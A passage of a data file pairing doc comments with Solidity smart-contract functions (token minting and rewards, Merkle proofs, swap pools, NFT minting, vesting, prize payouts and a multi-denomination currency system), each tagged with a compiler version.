minterReward and set balance of minter to add reward\n uint minterReward = supplySchedule.minterReward();\n // Get the remainder\n uint amountToDistribute = supplyToMint.sub(minterReward);\n\n // Set the token balance to the RewardsDistribution contract\n tokenState.setBalanceOf(rewardsDistribution, tokenState.balanceOf(rewardsDistribution).add(amountToDistribute));\n emitTransfer(this, rewardsDistribution, amountToDistribute);\n\n // Kick off the distribution of rewards\n rewardsDistribution.distributeRewards(amountToDistribute);\n\n // Assign the minters reward.\n tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward));\n emitTransfer(this, msg.sender, minterReward);\n\n totalSupply = totalSupply.add(supplyToMint);\n\n return true;\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up\r\n * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt\r\n * hash matches the root of the tree. When processing the proof, the pairs\r\n * of leafs & pre-images are assumed to be sorted.\r\n *\r\n * _Available since v4.4._\r\n */", "function_code": "function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {\r\n bytes32 computedHash = leaf;\r\n for (uint256 i = 0; i < proof.length; i++) {\r\n bytes32 proofElement = proof[i];\r\n if (computedHash <= proofElement) {\r\n // Hash(current computed hash + current element of the proof)\r\n computedHash = keccak256(abi.encodePacked(computedHash, proofElement));\r\n } else {\r\n // Hash(current element of the proof + current computed hash)\r\n computedHash = keccak256(abi.encodePacked(proofElement, computedHash));\r\n }\r\n }\r\n return computedHash;\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * @dev See {IERC721Enumerable-totalSupply}.\r\n */", "function_code": "function totalSupply() public view override returns (uint256) {\r\n // Counter underflow is impossible as _burnCounter cannot be incremented\r\n // more than _currentIndex times\r\n unchecked {\r\n return _currentIndex - _burnCounter; \r\n }\r\n }", "version": "0.8.12"} {"comment": "/**\r\n * check_availability() returns a bunch of pool info given a pool id\r\n * id swap pool id\r\n * this function returns 1. exchange_addrs that can be used to determine the index\r\n * 2. remaining target tokens\r\n * 3. if started\r\n * 4. if ended\r\n * 5. swapped amount of the query address\r\n * 5. exchanged amount of each token\r\n **/", "function_code": "function check_availability (bytes32 id) external view \r\n returns (address[] memory exchange_addrs, uint256 remaining, \r\n bool started, bool expired, bool unlocked, uint256 unlock_time,\r\n uint256 swapped, uint128[] memory exchanged_tokens) {\r\n Pool storage pool = pool_by_id[id];\r\n return (\r\n pool.exchange_addrs, // exchange_addrs 0x0 means destructed\r\n unbox(pool.packed2, 0, 128), // remaining\r\n block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started\r\n block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired\r\n block.timestamp > pool.unlock_time + base_time, // unlocked\r\n pool.unlock_time + base_time, // unlock_time\r\n pool.swapped_map[msg.sender], // swapped number \r\n pool.exchanged_tokens // exchanged tokens\r\n );\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * withdraw() transfers out a single token after a pool is expired or empty \r\n * id swap pool id\r\n * addr_i withdraw token index\r\n * this function can only be called by the pool creator. after validation, it transfers the addr_i th token \r\n * out to the pool creator address.\r\n **/", "function_code": "function withdraw (bytes32 id, uint256 addr_i) public {\r\n Pool storage pool = pool_by_id[id];\r\n require(msg.sender == pool.creator, \"Only the pool creator can withdraw.\");\r\n\r\n uint256 withdraw_balance = pool.exchanged_tokens[addr_i];\r\n require(withdraw_balance > 0, \"None of this token left\");\r\n uint256 expiration = unbox(pool.packed1, 228, 28) + base_time;\r\n uint256 remaining_tokens = unbox(pool.packed2, 0, 128);\r\n // only after expiration or the pool is empty\r\n require(expiration <= block.timestamp || remaining_tokens == 0, \"Not expired yet\");\r\n address token_address = pool.exchange_addrs[addr_i];\r\n\r\n // ERC20\r\n if (token_address != DEFAULT_ADDRESS)\r\n transfer_token(token_address, address(this), msg.sender, withdraw_balance);\r\n // ETH\r\n else\r\n payable(msg.sender).transfer(withdraw_balance);\r\n // clear the record\r\n pool.exchanged_tokens[addr_i] = 0;\r\n emit WithdrawSuccess(id, token_address, withdraw_balance);\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * _qualification the smart contract address to verify qualification 160\r\n * _hash sha3-256(password) 40\r\n * _start start time delta 28\r\n * _end end time delta 28\r\n * wrap1() inserts the above variables into a 32-word block\r\n **/", "function_code": "function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure \r\n returns (uint256 packed1) {\r\n uint256 _packed1 = 0;\r\n _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits\r\n _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?)\r\n _packed1 |= box(200, 28, _start); // start_time = 28 bits \r\n _packed1 |= box(228, 28, _end); // expiration_time = 28 bits\r\n return _packed1;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * _total_tokens target remaining 128\r\n * _limit single swap limit 128\r\n * wrap2() inserts the above variables into a 32-word block\r\n **/", "function_code": "function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) {\r\n uint256 _packed2 = 0;\r\n _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38\r\n _packed2 |= box(128, 128, _limit); // limit = 128 bits\r\n return _packed2;\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * position position in a memory block\r\n * size data size\r\n * data data\r\n * box() inserts the data in a 256bit word with the given position and returns it\r\n * data is checked by validRange() to make sure it is not over size \r\n **/", "function_code": "function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) {\r\n require(validRange(size, data), \"Value out of range BOX\");\r\n assembly {\r\n // data << position\r\n boxed := shl(position, data)\r\n }\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * _box 32byte data to be modified\r\n * position position in a memory block\r\n * size data size\r\n * data data to be inserted\r\n * rewriteBox() updates a 32byte word with a data at the given position with the specified size\r\n **/", "function_code": "function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) \r\n internal pure returns (uint256 boxed) {\r\n assembly {\r\n // mask = ~((1 << size - 1) << position)\r\n // _box = (mask & _box) | ()data << position)\r\n boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data))\r\n }\r\n }", "version": "0.8.1"} {"comment": "// ----------------------------\n// withdraw expense funds to arbiter\n// ----------------------------", "function_code": "function withdrawArbFunds() public\r\n {\r\n if (!validArb2(msg.sender)) {\r\n StatEvent(\"invalid arbiter\");\r\n } else {\r\n arbiter xarb = arbiters[msg.sender];\r\n if (xarb.arbHoldover == 0) { \r\n StatEvent(\"0 Balance\");\r\n return;\r\n } else {\r\n uint _amount = xarb.arbHoldover; \r\n xarb.arbHoldover = 0; \r\n if (!msg.sender.call.gas(acctCallGas).value(_amount)())\r\n throw;\r\n }\r\n }\r\n }", "version": "0.4.11"} {"comment": "// mint (Mint a token in the GuXeClub contract)\n// Anyone can call mint if they transfer the required ETH\n// Once the token is minted payments are transferred to the owner.\n// A RequestedGuXe event is emitted so that GuXeClub.com can\n// generate the image and update the URI. See setURI", "function_code": "function mint(uint256 parentId)\n public payable\n {\n require(sproutPaused != true, \"Sprout is paused\"); \n // Check if the parent GuXe exists \n require(_exists(parentId), \"Parent GuXe does not exists\");\n\n uint256 currentSproutFee = getSproutFee(parentId);\n uint256 totalFee = artistFee.add(currentSproutFee);\n // Check if enough ETH was sent\n require(msg.value >= totalFee, \"Did not provide enough ETH\");\n\n tokenCount += 1;\n _safeMint(msg.sender, tokenCount);\n\n //want the request event to occur before transfer for ease workflow\n emit RequestedGuXe(tokenCount, parentId);\n\n //increase the sprout fee of the parent\n _incrementSproutFee(parentId);\n\n //transfer eth to parent owner account\n address parentOwner = ownerOf(parentId);\n\n //https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/\n (bool sent, bytes memory data) = parentOwner.call{value: currentSproutFee}(\"\");\n require(sent, \"Failed to send Ether\"); \n }", "version": "0.8.12"} {"comment": "// Set the URI to point a json file with metadata on the newly minted\n// Guxe Token. The file is stored on the IPFS distributed web and is immutable.\n// Once setURI is called for a token the URI can not be updated and \n// the file on the IPFS system that the token points to can be verified as\n// unaltered as well. The json file is in a standard format used by opensea.io\n// It contains the image uri as well as information pertaining to the rareness\n// and limited additions of the art included in the image.", "function_code": "function setURI(uint256 _tokenId, string memory _tokenURI) \n external onlyRole(URI_ROLE)\n {\n string memory defaultURI = string(abi.encodePacked(_baseURI(), _tokenId.toString()));\n string memory currentURI = super.tokenURI(_tokenId);\n require (compareStrings(defaultURI, currentURI), \"URI has already been set.\");\n\n //update the URI\n _setTokenURI(_tokenId, _tokenURI);\n string memory finalURI = super.tokenURI(_tokenId);\n\n\n //opensea will watch this\n emit PermanentURI(finalURI, _tokenId);\n }", "version": "0.8.12"} {"comment": "/**\n * @notice Transfers vested tokens to beneficiary.\n */", "function_code": "function release() public {\n int8 unreleasedIdx = _releasableIdx(block.timestamp);\n\n require(unreleasedIdx >= 0, \"TokenVesting: no tokens are due\");\n\n uint256 unreleasedAmount = _amount.mul(_percent[uint(unreleasedIdx)]).div(100);\n\n _token.safeTransfer(_beneficiary, unreleasedAmount);\n\n _percent[uint(unreleasedIdx)] = 0;\n _released = _released.add(unreleasedAmount);\n\n emit TokensReleased(address(_token), unreleasedAmount);\n }", "version": "0.5.10"} {"comment": "/**\n * @dev Calculates the index that has already vested but hasn't been released yet.\n */", "function_code": "function _releasableIdx(uint256 ts) private view returns (int8) {\n for (uint8 i = 0; i < _schedule.length; i++) {\n if (ts > _schedule[i] && _percent[i] > 0) {\n return int8(i);\n }\n }\n\n return -1;\n }", "version": "0.5.10"} {"comment": "/* @notice This function was invoked when user want to swap their collections with skully\r\n \t * @param skullyId the id of skully that user want to swap\r\n \t * @param exchangeTokenId the id of their collections\r\n \t * @param typeERC the number of erc721 in the list of contract that allow to exchange with \r\n \t * return none - just emit a result to the network\r\n \t*/", "function_code": "function swap(uint256 skullyId, uint256 exchangeTokenId, uint64 typeERC) public whenNotPaused {\r\n ERC721(listERC721[typeERC]).transferFrom(msg.sender, address(this), exchangeTokenId);\r\n // cancel sale auction\r\n auctionContract.cancelAuction(skullyId);\r\n \r\n // set flag\r\n itemContract.increaseSkullyExp(skullyId, plusFlags);\r\n \r\n skullyContract.transferFrom(address(this), msg.sender, skullyId);\r\n \r\n emit Swapped(skullyId, exchangeTokenId, typeERC, block.timestamp);\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Get randomness from Chainlink VRF to propose winners.\r\n */", "function_code": "function getRandomness() public returns (bytes32 requestId) {\r\n // Require at least 1 nft to be minted\r\n require(nftsMinted > 0, \"Generative Art: No NFTs are minted yet.\");\r\n //Require caller to be contract owner or all 10K NFTs need to be minted\r\n require(msg.sender == owner() || nftsMinted == nftMintLimit , \"Generative Art: Only Owner can collectWinner. All 10k NFTs need to be minted for others to collectWinner.\");\r\n // Require Winners to be not yet selected\r\n require(!winnersSelected, \"Generative Art: Winners already selected\");\r\n // Require chainlinkAvailable >= Chainlink VRF fee\r\n require(IERC20(LINKTokenAddress).balanceOf(address(this)) >= ChainlinkFee, \"Generative Art: Insufficient LINK. Please deposit LINK.\");\r\n // Call for random number\r\n return requestRandomness(ChainlinkKeyHash, ChainlinkFee);\r\n }", "version": "0.8.1"} {"comment": "/**\r\n * Disburses prize money to winners\r\n */", "function_code": "function disburseWinners() external {\r\n // Require at least 1 nft to be minted\r\n require(nftsMinted > 0, \"Generative Art: No NFTs are minted.\");\r\n // Require caller to be contract owner or all 10K NFTs need to be minted\r\n require(msg.sender == owner() || nftsMinted == nftMintLimit , \"Generative Art: Only Owner can disburseWinner. All 10k NFTs need to be minted for others to disburseWinner.\");\r\n // Require that all winners be selected first before disbursing\r\n require(winnersSelected, \"Generative Art: Winners needs to be selected first\");\r\n //Get account balance\r\n uint256 accountBalance = address(this).balance; \r\n // While winners disbursed is less than total winners\r\n while (winnersDisbursed < maxWinners) {\r\n // Get winner\r\n address winner = ownerOf(winnerIDs[winnersDisbursed]);\r\n // Transfer Prize Money to winner\r\n payable(winner).transfer((accountBalance*prizeMoneyPercent[winnersDisbursed])/100);\r\n // Increment winnersDisbursed\r\n winnersDisbursed++;\r\n }\r\n }", "version": "0.8.1"} {"comment": "/**\r\n \t * @dev Check if `_tokenAddress` is a valid ERC20 Token address\r\n \t * @param _tokenAddress The ERC20 Token address to check\r\n \t */", "function_code": "function isValidERC20TokenAddress(address _tokenAddress) public view returns (bool) {\r\n\t\tif (_tokenAddress == address(0)) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tTokenERC20 _erc20 = TokenERC20(_tokenAddress);\r\n\t\treturn (_erc20.totalSupply() >= 0 && bytes(_erc20.name()).length > 0 && bytes(_erc20.symbol()).length > 0);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Checks if the calling contract address is The AO\r\n \t *\t\tOR\r\n \t *\t\tIf The AO is set to a Name/TAO, then check if calling address is the Advocate\r\n \t * @param _sender The address to check\r\n \t * @param _theAO The AO address\r\n \t * @param _nameTAOPositionAddress The address of NameTAOPosition\r\n \t * @return true if yes, false otherwise\r\n \t */", "function_code": "function isTheAO(address _sender, address _theAO, address _nameTAOPositionAddress) public view returns (bool) {\r\n\t\treturn (_sender == _theAO ||\r\n\t\t\t(\r\n\t\t\t\t(isTAO(_theAO) || isName(_theAO)) &&\r\n\t\t\t\t_nameTAOPositionAddress != address(0) &&\r\n\t\t\t\tINameTAOPosition(_nameTAOPositionAddress).senderIsAdvocate(_sender, _theAO)\r\n\t\t\t)\r\n\t\t);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev deploy a TAO\r\n \t * @param _name The name of the TAO\r\n \t * @param _originId The Name ID the creates the TAO\r\n \t * @param _datHash The datHash of this TAO\r\n \t * @param _database The database for this TAO\r\n \t * @param _keyValue The key/value pair to be checked on the database\r\n \t * @param _contentId The contentId related to this TAO\r\n \t * @param _nameTAOVaultAddress The address of NameTAOVault\r\n \t */", "function_code": "function deployTAO(string memory _name,\r\n\t\taddress _originId,\r\n\t\tstring memory _datHash,\r\n\t\tstring memory _database,\r\n\t\tstring memory _keyValue,\r\n\t\tbytes32 _contentId,\r\n\t\taddress _nameTAOVaultAddress\r\n\t\t) public returns (TAO _tao) {\r\n\t\t_tao = new TAO(_name, _originId, _datHash, _database, _keyValue, _contentId, _nameTAOVaultAddress);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Calculate the new weighted multiplier when adding `_additionalPrimordialAmount` at `_additionalWeightedMultiplier` to the current `_currentPrimordialBalance` at `_currentWeightedMultiplier`\r\n \t * @param _currentWeightedMultiplier Account's current weighted multiplier\r\n \t * @param _currentPrimordialBalance Account's current primordial ion balance\r\n \t * @param _additionalWeightedMultiplier The weighted multiplier to be added\r\n \t * @param _additionalPrimordialAmount The primordial ion amount to be added\r\n \t * @return the new primordial weighted multiplier\r\n \t */", "function_code": "function calculateWeightedMultiplier(uint256 _currentWeightedMultiplier, uint256 _currentPrimordialBalance, uint256 _additionalWeightedMultiplier, uint256 _additionalPrimordialAmount) public pure returns (uint256) {\r\n\t\tif (_currentWeightedMultiplier > 0) {\r\n\t\t\tuint256 _totalWeightedIons = (_currentWeightedMultiplier.mul(_currentPrimordialBalance)).add(_additionalWeightedMultiplier.mul(_additionalPrimordialAmount));\r\n\t\t\tuint256 _totalIons = _currentPrimordialBalance.add(_additionalPrimordialAmount);\r\n\t\t\treturn _totalWeightedIons.div(_totalIons);\r\n\t\t} else {\r\n\t\t\treturn _additionalWeightedMultiplier;\r\n\t\t}\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Calculate the bonus amount of network ion on a given lot\r\n \t *\t\tAO Bonus Amount = B% x P\r\n \t *\r\n \t * @param _purchaseAmount The amount of primordial ion intended to be purchased\r\n \t * @param _totalPrimordialMintable Total Primordial ion intable\r\n \t * @param _totalPrimordialMinted Total Primordial ion minted so far\r\n \t * @param _startingMultiplier The starting Network ion bonus multiplier\r\n \t * @param _endingMultiplier The ending Network ion bonus multiplier\r\n \t * @return The bonus percentage\r\n \t */", "function_code": "function calculateNetworkBonusAmount(uint256 _purchaseAmount, uint256 _totalPrimordialMintable, uint256 _totalPrimordialMinted, uint256 _startingMultiplier, uint256 _endingMultiplier) public pure returns (uint256) {\r\n\t\tuint256 bonusPercentage = calculateNetworkBonusPercentage(_purchaseAmount, _totalPrimordialMintable, _totalPrimordialMinted, _startingMultiplier, _endingMultiplier);\r\n\t\t/**\r\n\t\t * Since bonusPercentage is in _PERCENTAGE_DIVISOR format, need to divide it with _PERCENTAGE DIVISOR\r\n\t\t * when calculating the network ion bonus amount\r\n\t\t */\r\n\t\tuint256 networkBonus = bonusPercentage.mul(_purchaseAmount).div(_PERCENTAGE_DIVISOR);\r\n\t\treturn networkBonus;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t *\r\n \t * @dev Whitelisted address remove `_value` TAOCurrency from the system irreversibly on behalf of `_from`.\r\n \t *\r\n \t * @param _from the address of the sender\r\n \t * @param _value the amount of money to burn\r\n \t */", "function_code": "function whitelistBurnFrom(address _from, uint256 _value) public inWhitelist isNameOrTAO(_from) returns (bool success) {\r\n\t\trequire(balanceOf[_from] >= _value); // Check if the targeted balance is enough\r\n\t\tbalanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance\r\n\t\ttotalSupply = totalSupply.sub(_value); // Update totalSupply\r\n\t\temit Burn(_from, _value);\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Send `_value` TAOCurrency from `_from` to `_to`\r\n \t * @param _from The address of sender\r\n \t * @param _to The address of the recipient\r\n \t * @param _value The amount to send\r\n \t */", "function_code": "function _transfer(address _from, address _to, uint256 _value) internal {\r\n\t\trequire (_to != address(0));\t\t\t\t\t\t\t// Prevent transfer to 0x0 address. Use burn() instead\r\n\t\trequire (balanceOf[_from] >= _value);\t\t\t\t\t// Check if the sender has enough\r\n\t\trequire (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows\r\n\t\tuint256 previousBalances = balanceOf[_from].add(balanceOf[_to]);\r\n\t\tbalanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender\r\n\t\tbalanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient\r\n\t\temit Transfer(_from, _to, _value);\r\n\t\tassert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev The AO adds denomination and the contract address associated with it\r\n \t * @param denominationName The name of the denomination, i.e ao, kilo, mega, etc.\r\n \t * @param denominationAddress The address of the denomination TAOCurrency\r\n \t * @return true on success\r\n \t */", "function_code": "function addDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) {\r\n\t\trequire (denominationName.length > 0);\r\n\t\trequire (denominationName[0] != 0);\r\n\t\trequire (denominationAddress != address(0));\r\n\t\trequire (denominationIndex[denominationName] == 0);\r\n\t\ttotalDenominations++;\r\n\t\t// Make sure the new denomination is higher than the previous\r\n\t\tif (totalDenominations > 1) {\r\n\t\t\tTAOCurrency _lastDenominationTAOCurrency = TAOCurrency(denominations[totalDenominations - 1].denominationAddress);\r\n\t\t\tTAOCurrency _newDenominationTAOCurrency = TAOCurrency(denominationAddress);\r\n\t\t\trequire (_newDenominationTAOCurrency.powerOfTen() > _lastDenominationTAOCurrency.powerOfTen());\r\n\t\t}\r\n\t\tdenominations[totalDenominations].name = denominationName;\r\n\t\tdenominations[totalDenominations].denominationAddress = denominationAddress;\r\n\t\tdenominationIndex[denominationName] = totalDenominations;\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev The AO updates denomination address or activates/deactivates the denomination\r\n \t * @param denominationName The name of the denomination, i.e ao, kilo, mega, etc.\r\n \t * @param denominationAddress The address of the denomination TAOCurrency\r\n \t * @return true on success\r\n \t */", "function_code": "function updateDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO isValidDenomination(denominationName) returns (bool) {\r\n\t\trequire (denominationAddress != address(0));\r\n\t\tuint256 _denominationNameIndex = denominationIndex[denominationName];\r\n\t\tTAOCurrency _newDenominationTAOCurrency = TAOCurrency(denominationAddress);\r\n\t\tif (_denominationNameIndex > 1) {\r\n\t\t\tTAOCurrency _prevDenominationTAOCurrency = TAOCurrency(denominations[_denominationNameIndex - 1].denominationAddress);\r\n\t\t\trequire (_newDenominationTAOCurrency.powerOfTen() > _prevDenominationTAOCurrency.powerOfTen());\r\n\t\t}\r\n\t\tif (_denominationNameIndex < totalDenominations) {\r\n\t\t\tTAOCurrency _lastDenominationTAOCurrency = TAOCurrency(denominations[totalDenominations].denominationAddress);\r\n\t\t\trequire (_newDenominationTAOCurrency.powerOfTen() < _lastDenominationTAOCurrency.powerOfTen());\r\n\t\t}\r\n\t\tdenominations[denominationIndex[denominationName]].denominationAddress = denominationAddress;\r\n\t\treturn true;\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Get denomination info by index\r\n \t * @param index The index to be queried\r\n \t * @return the denomination short name\r\n \t * @return the denomination address\r\n \t * @return the denomination public name\r\n \t * @return the denomination symbol\r\n \t * @return the denomination num of decimals\r\n \t * @return the denomination multiplier (power of ten)\r\n \t */", "function_code": "function getDenominationByIndex(uint256 index) public view returns (bytes8, address, string memory, string memory, uint8, uint256) {\r\n\t\trequire (index > 0 && index <= totalDenominations);\r\n\t\trequire (denominations[index].denominationAddress != address(0));\r\n\t\tTAOCurrency _tc = TAOCurrency(denominations[index].denominationAddress);\r\n\t\treturn (\r\n\t\t\tdenominations[index].name,\r\n\t\t\tdenominations[index].denominationAddress,\r\n\t\t\t_tc.name(),\r\n\t\t\t_tc.symbol(),\r\n\t\t\t_tc.decimals(),\r\n\t\t\t_tc.powerOfTen()\r\n\t\t);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev convert TAOCurrency from `denominationName` denomination to base denomination,\r\n \t *\t\tin this case it's similar to web3.toWei() functionality\r\n \t *\r\n \t * Example:\r\n \t * 9.1 Kilo should be entered as 9 integerAmount and 100 fractionAmount\r\n \t * 9.02 Kilo should be entered as 9 integerAmount and 20 fractionAmount\r\n \t * 9.001 Kilo should be entered as 9 integerAmount and 1 fractionAmount\r\n \t *\r\n \t * @param integerAmount uint256 of the integer amount to be converted\r\n \t * @param fractionAmount uint256 of the frational amount to be converted\r\n \t * @param denominationName bytes8 name of the TAOCurrency denomination\r\n \t * @return uint256 converted amount in base denomination from target denomination\r\n \t */", "function_code": "function toBase(uint256 integerAmount, uint256 fractionAmount, bytes8 denominationName) external view returns (uint256) {\r\n\t\tuint256 _fractionAmount = fractionAmount;\r\n\t\tif (this.isDenominationExist(denominationName) && (integerAmount > 0 || _fractionAmount > 0)) {\r\n\t\t\tDenomination memory _denomination = denominations[denominationIndex[denominationName]];\r\n\t\t\tTAOCurrency _denominationTAOCurrency = TAOCurrency(_denomination.denominationAddress);\r\n\t\t\tuint8 fractionNumDigits = AOLibrary.numDigits(_fractionAmount);\r\n\t\t\trequire (fractionNumDigits <= _denominationTAOCurrency.decimals());\r\n\t\t\tuint256 baseInteger = integerAmount.mul(10 ** _denominationTAOCurrency.powerOfTen());\r\n\t\t\tif (_denominationTAOCurrency.decimals() == 0) {\r\n\t\t\t\t_fractionAmount = 0;\r\n\t\t\t}\r\n\t\t\treturn baseInteger.add(_fractionAmount);\r\n\t\t} else {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev convert TAOCurrency from base denomination to `denominationName` denomination,\r\n \t *\t\tin this case it's similar to web3.fromWei() functionality\r\n \t * @param integerAmount uint256 of the base amount to be converted\r\n \t * @param denominationName bytes8 name of the target TAOCurrency denomination\r\n \t * @return uint256 of the converted integer amount in target denomination\r\n \t * @return uint256 of the converted fraction amount in target denomination\r\n \t */", "function_code": "function fromBase(uint256 integerAmount, bytes8 denominationName) public view returns (uint256, uint256) {\r\n\t\tif (this.isDenominationExist(denominationName)) {\r\n\t\t\tDenomination memory _denomination = denominations[denominationIndex[denominationName]];\r\n\t\t\tTAOCurrency _denominationTAOCurrency = TAOCurrency(_denomination.denominationAddress);\r\n\t\t\tuint256 denominationInteger = integerAmount.div(10 ** _denominationTAOCurrency.powerOfTen());\r\n\t\t\tuint256 denominationFraction = integerAmount.sub(denominationInteger.mul(10 ** _denominationTAOCurrency.powerOfTen()));\r\n\t\t\treturn (denominationInteger, denominationFraction);\r\n\t\t} else {\r\n\t\t\treturn (0, 0);\r\n\t\t}\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev exchange `amount` TAOCurrency from `fromDenominationName` denomination to TAOCurrency in `toDenominationName` denomination\r\n \t * @param amount The amount of TAOCurrency to exchange\r\n \t * @param fromDenominationName The origin denomination\r\n \t * @param toDenominationName The target denomination\r\n \t */", "function_code": "function exchangeDenomination(uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName) public isValidDenomination(fromDenominationName) isValidDenomination(toDenominationName) {\r\n\t\taddress _nameId = _nameFactory.ethAddressToNameId(msg.sender);\r\n\t\trequire (_nameId != address(0));\r\n\t\trequire (amount > 0);\r\n\t\tDenomination memory _fromDenomination = denominations[denominationIndex[fromDenominationName]];\r\n\t\tDenomination memory _toDenomination = denominations[denominationIndex[toDenominationName]];\r\n\t\tTAOCurrency _fromDenominationCurrency = TAOCurrency(_fromDenomination.denominationAddress);\r\n\t\tTAOCurrency _toDenominationCurrency = TAOCurrency(_toDenomination.denominationAddress);\r\n\t\trequire (_fromDenominationCurrency.whitelistBurnFrom(_nameId, amount));\r\n\t\trequire (_toDenominationCurrency.mint(_nameId, amount));\r\n\r\n\t\t// Store the DenominationExchange information\r\n\t\ttotalDenominationExchanges++;\r\n\t\tbytes32 _exchangeId = keccak256(abi.encodePacked(this, _nameId, totalDenominationExchanges));\r\n\t\tdenominationExchangeIdLookup[_exchangeId] = totalDenominationExchanges;\r\n\r\n\t\tDenominationExchange storage _denominationExchange = denominationExchanges[totalDenominationExchanges];\r\n\t\t_denominationExchange.exchangeId = _exchangeId;\r\n\t\t_denominationExchange.nameId = _nameId;\r\n\t\t_denominationExchange.fromDenominationAddress = _fromDenomination.denominationAddress;\r\n\t\t_denominationExchange.toDenominationAddress = _toDenomination.denominationAddress;\r\n\t\t_denominationExchange.amount = amount;\r\n\r\n\t\temit ExchangeDenomination(_nameId, _exchangeId, amount, _fromDenomination.denominationAddress, TAOCurrency(_fromDenomination.denominationAddress).symbol(), _toDenomination.denominationAddress, TAOCurrency(_toDenomination.denominationAddress).symbol());\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Get DenominationExchange information given an exchange ID\r\n \t * @param _exchangeId The exchange ID to query\r\n \t * @return The name ID that performed the exchange\r\n \t * @return The from denomination address\r\n \t * @return The to denomination address\r\n \t * @return The from denomination symbol\r\n \t * @return The to denomination symbol\r\n \t * @return The amount exchanged\r\n \t */", "function_code": "function getDenominationExchangeById(bytes32 _exchangeId) public view returns (address, address, address, string memory, string memory, uint256) {\r\n\t\trequire (denominationExchangeIdLookup[_exchangeId] > 0);\r\n\t\tDenominationExchange memory _denominationExchange = denominationExchanges[denominationExchangeIdLookup[_exchangeId]];\r\n\t\treturn (\r\n\t\t\t_denominationExchange.nameId,\r\n\t\t\t_denominationExchange.fromDenominationAddress,\r\n\t\t\t_denominationExchange.toDenominationAddress,\r\n\t\t\tTAOCurrency(_denominationExchange.fromDenominationAddress).symbol(),\r\n\t\t\tTAOCurrency(_denominationExchange.toDenominationAddress).symbol(),\r\n\t\t\t_denominationExchange.amount\r\n\t\t);\r\n\t}", "version": "0.5.4"} {"comment": "/**\r\n \t * @dev Return the highest possible denomination given a base amount\r\n \t * @param amount The amount to be converted\r\n \t * @return the denomination short name\r\n \t * @return the denomination address\r\n \t * @return the integer amount at the denomination level\r\n \t * @return the fraction amount at the denomination level\r\n \t * @return the denomination public name\r\n \t * @return the denomination symbol\r\n \t * @return the denomination num of decimals\r\n \t * @return the denomination multiplier (power of ten)\r\n \t */", "function_code": "function toHighestDenomination(uint256 amount) public view returns (bytes8, address, uint256, uint256, string memory, string memory, uint8, uint256) {\r\n\t\tuint256 integerAmount;\r\n\t\tuint256 fractionAmount;\r\n\t\tuint256 index;\r\n\t\tfor (uint256 i=totalDenominations; i>0; i--) {\r\n\t\t\tDenomination memory _denomination = denominations[i];\r\n\t\t\t(integerAmount, fractionAmount) = fromBase(amount, _denomination.name);\r\n\t\t\tif (integerAmount > 0) {\r\n\t\t\t\tindex = i;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\trequire (index > 0 && index <= totalDenominations);\r\n\t\trequire (integerAmount > 0 || fractionAmount > 0);\r\n\t\trequire (denominations[index].denominationAddress != address(0));\r\n\t\tTAOCurrency _tc = TAOCurrency(denominations[index].denominationAddress);\r\n\t\treturn (\r\n\t\t\tdenominations[index].name,\r\n\t\t\tdenominations[index].denominationAddress,\r\n\t\t\tintegerAmount,\r\n\t\t\tfractionAmount,\r\n\t\t\t_tc.name(),\r\n\t\t\t_tc.symbol(),\r\n\t\t\t_tc.decimals(),\r\n\t\t\t_tc.powerOfTen()\r\n\t\t);\r\n\t}", "version": "0.5.4"} {"comment": "/**\n * @dev Set aside tokens for marketing, Owner does not need to pay. Tokens are sent to the Owner.\n */", "function_code": "function mintTeamTokens(uint256 _numberOfTokens) public onlyOwner {\n require(_numberOfTokens <= MAX_TOTAL_TOKENS, 'Can not mint more than the total supply.');\n require(_numberOfTokens >= 100, 'Can not mint more than 100 